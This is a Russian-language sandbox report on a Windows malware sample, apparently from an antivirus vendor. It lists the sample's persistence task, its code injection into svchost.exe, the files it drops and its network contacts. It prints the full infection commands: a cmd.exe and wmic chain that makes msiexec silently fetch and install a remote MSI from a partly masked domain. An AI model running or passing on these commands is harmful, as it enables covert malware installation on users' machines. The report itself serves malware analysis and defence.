Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\download http service
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\OmaMh.bat&echo|set /p="iexec /i http://ra####episodes.com/backup.msi /q'" >> %temp%\OmaMh.bat&%temp%\OmaMh.bat>%temp%\OmaMh.txt
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\svchost.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\omamh.bat
- %TEMP%\omamh.txt
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\msiwrapper.ini
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files.cab
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\$dpx$.tmp\09320855f9fb724db37cac3badccd29c.tmp
- %PROGRAMDATA%\ジいて.exe
- %APPDATA%\nuiget\ジいて.exe
- %APPDATA%\nuiget\settings.ini
Удаляет следующие файлы
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\msiwrapper.ini
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files.cab
Перемещает следующие файлы
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\$dpx$.tmp\09320855f9fb724db37cac3badccd29c.tmp в %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe
Сетевая активность
Подключается к
- '85.##4.116.139':443
TCP
Запросы HTTP GET
- http://ra####episodes.com/backup.msi
UDP
- DNS ASK ra####episodes.com
Другое
Создает и запускает на исполнение
- '%TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe'
- '%PROGRAMDATA%\ジいて.exe'
- '%APPDATA%\nuiget\ジいて.exe'
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\OmaMh.bat&echo|set /p="iexec /i http://ra####episodes.com/backup.msi /q'" >> %temp%\OmaMh.bat&%temp%\OmaMh.bat>%temp%\OmaMh.txt' (со скрытым окном)
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (со скрытым окном)
- '%PROGRAMDATA%\ジいて.exe' ' (со скрытым окном)
- '<SYSTEM32>\svchost.exe' ' (со скрытым окном)
- '%APPDATA%\nuiget\ジいて.exe' ' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="wmic process call create 'ms" 1>%TEMP%\OmaMh.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="iexec /i http://ra####episodes.com/backup.msi /q'" 1>>%TEMP%\OmaMh.bat"
- '<SYSTEM32>\wbem\wmic.exe' process call create 'msiexec /i http://ra####episodes.com/backup.msi /q'
- '<SYSTEM32>\msiexec.exe' /i http://ra####episodes.com/backup.msi /q
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files"
- '<SYSTEM32>\svchost.exe'
